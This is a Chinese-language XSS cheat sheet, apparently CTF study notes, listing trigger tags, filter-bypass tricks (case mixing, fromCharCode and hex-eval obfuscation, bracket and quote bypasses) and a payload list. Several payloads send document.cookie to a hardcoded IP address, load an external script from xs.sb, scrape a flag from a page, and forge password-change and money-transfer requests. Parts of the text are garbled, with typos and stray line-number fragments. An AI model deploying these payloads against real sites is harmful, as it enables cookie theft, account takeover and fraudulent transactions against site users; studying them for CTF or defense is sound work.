XSS漏洞
XSS跨站脚本攻击漏洞
一、常见触发标签
无过滤情况
1.<script>
<scirpt>alert("xss");</script>
2.<img>
当图片加载错误时触发
<img src="x" onerror=alert(1)><img src="1" onerror=eval("alert('xss')")>
还可以改成onmouseover=”alert(1)” onmouseout=”alert(1)”
3.<a>
1 | <a href="https://www.qq.com">qq</a> |
4.<input>
1 | <input onfocus="alert('xss');"> |
5.<from>
1 | <form action=javascript:alert('xss')> |
6.<iframe>
1 | <iframe onload=alert("xss");></iframe> |
7.<svg>
<svg onload=alert(1)>
其他不常见的标签见
存在过滤情况
1.过滤空格
使用/绕过
<img/src="x"/onerror=alert("xss");
%0c
,%09,/**/
注释符
<body/**/onload="document.location.href='http://43.140.251.169/XSS.php?1='+document.cookie"></body>
2.过滤关键字
(1)大小写绕过
(2)复写关键字
(3)字符拼接
1 | 使用eval |
document.write(String.fromCharCode(ascii码)
首先document.write将一个文本字符串写入一个由 document.open()
打开的文档流(document stream)。
1 | function newContent() { |
String.fromCharCode():
把unicode编码转换为字符1
2<body/οnlοad=“document.write(String.fromCharCode(32));document.write(String.fromCharCode(60));document.write(String.fromCharCode(115));document.write(String.fromCharCode(67));document.write(String.fromCharCode(114));document.write(String.fromCharCode(73));document.write(String.fromCharCode(112));document.write(String.fromCharCode(116));document.write(String.fromCharCode(32));document.write(String.fromCharCode(115));document.write(String.fromCharCode(114));document.write(String.fromCharCode(67));document.write(String.fromCharCode(61));document.write(String.fromCharCode(47));document.write(String.fromCharCode(47));document.write(String.fromCharCode(120));document.write(String.fromCharCode(115));document.write(String.fromCharCode(46));document.write(String.fromCharCode(115));document.write(String.fromCharCode(98));document.write(String.fromCharCode(47));document.write(String.fromCharCode(89));document.write(String.fromCharCode(84));document.write(String.fromCharCode(85));document.write(String.fromCharCode(104));document.write(String.fromCharCode(62));document.write(String.fromCharCode(60));document.write(String.fromCharCode(47));document.write(String.fromCharCode(115));document.write(String.fromCharCode(67));document.write(String.fromCharCode(82));document.write(String.fromCharCode(105));document.write(String.fromCharCode(112));document.write(String.fromCharCode(84));document.write(String.fromCharCode(62));”
使用eval+16进制绕过
1 | <body/οnlοad=eval("\x64\x6f\x63\x75\x6d\x65\x6e\x74\x2e\x77\x72\x69\x74\x65\x28\x53\x74\x72\x69\x6e\x67\x2e\x66\x72\x6f\x6d\x43\x68\x61\x72\x43\x6f\x64\x65\x28\x36\x30\x2c\x31\x31\x35\x2c\x36\x37\x2c\x31\x31\x34\x2c\x37\x33\x2c\x31\x31\x32\x2c\x31\x31\x36\x2c\x33\x32\x2c\x31\x31\x35\x2c\x31\x31\x34\x2c\x36\x37\x2c\x36\x31\x2c\x34\x37\x2c\x34\x37\x2c\x31\x32\x30\x2c\x31\x31\x35\x2c\x34\x36\x2c\x31\x31\x35\x2c\x39\x38\x2c\x34\x37\x2c\x38\x39\x2c\x38\x34\x2c\x38\x35\x2c\x31\x30\x34\x2c\x36\x32\x2c\x36\x30\x2c\x34\x37\x2c\x31\x31\x35\x2c\x36\x37\x2c\x38\x32\x2c\x31\x30\x35\x2c\x31\x31\x32\x2c\x38\x34\x2c\x36\x32\x29\x29\x3b")> |
脚本
1 | a= "<sCrIpt srC=//xs.sb/YTUh></sCRipT>" |
3.其他字符混淆
1 | 可利用注释、标签的优先级等 |
4.编码绕过
1 | html编码<script>alert("xss");</script> |
5.过滤双引号,单引号
在js中,用两个反引号代替双引号
或者使用编码绕过
6.过滤括号
使用throw来绕过
1 | <svg/onload="window.onerror=eval;throw'=alert\x281\x29';"> |
7.过滤url地址
1 | http://%77%77%77%2e%62%61%69%64%75%2e%63%6f%6d/ #url编码 |
linux下可以使用\代替/
使用中文逗号代替英文逗号<img src="x" onerror="document.location=``http://www。baidu。com``">//会自动跳转到百度
payload大全
1.
1 | <script>document.location.href='http://43.140.251.169/X.php?1='+document.cookie</script> |
vps上的X.php,会把cookie写入flag.txt
1 |
|
2.
1 | <script>$('.laytable-cell-1-0-1').each(function(index,value){if(value.innerHTML.indexOf('ctf'+'show{')>-1) |
这段payload表示从页面查找有ctfshow{的字段
laytable-cell
:表示这是一个 Layui 表格的单元格。1-0-1
1
2
3
4
5
6
7
8
9
10
11
12
13
:通常是由三个部分组成,分别表示:
- 第一部分(`1`):表示表格的索引或 ID。
- 第二部分(`0`):表示行的索引。
- 第三部分(`1`):表示列的索引。
因此,`laytable-cell-1-0-1` 可能是一个特定表格中第一行第二列的单元格。
### 3.
```html
<script>document.location.href='http://127.0.0.1/api/change.php?p=123'</script>
伪造本地用户更改密码
post更改用jquery中的ajax
1 | <script>$.ajax({url:'api/change.php',type:'post',data:{p:123}});</script> |
1 | <script>$.ajax({url:'/api/amount.php',type:'post',data:{u:'boogipop',a:10000}});</script> |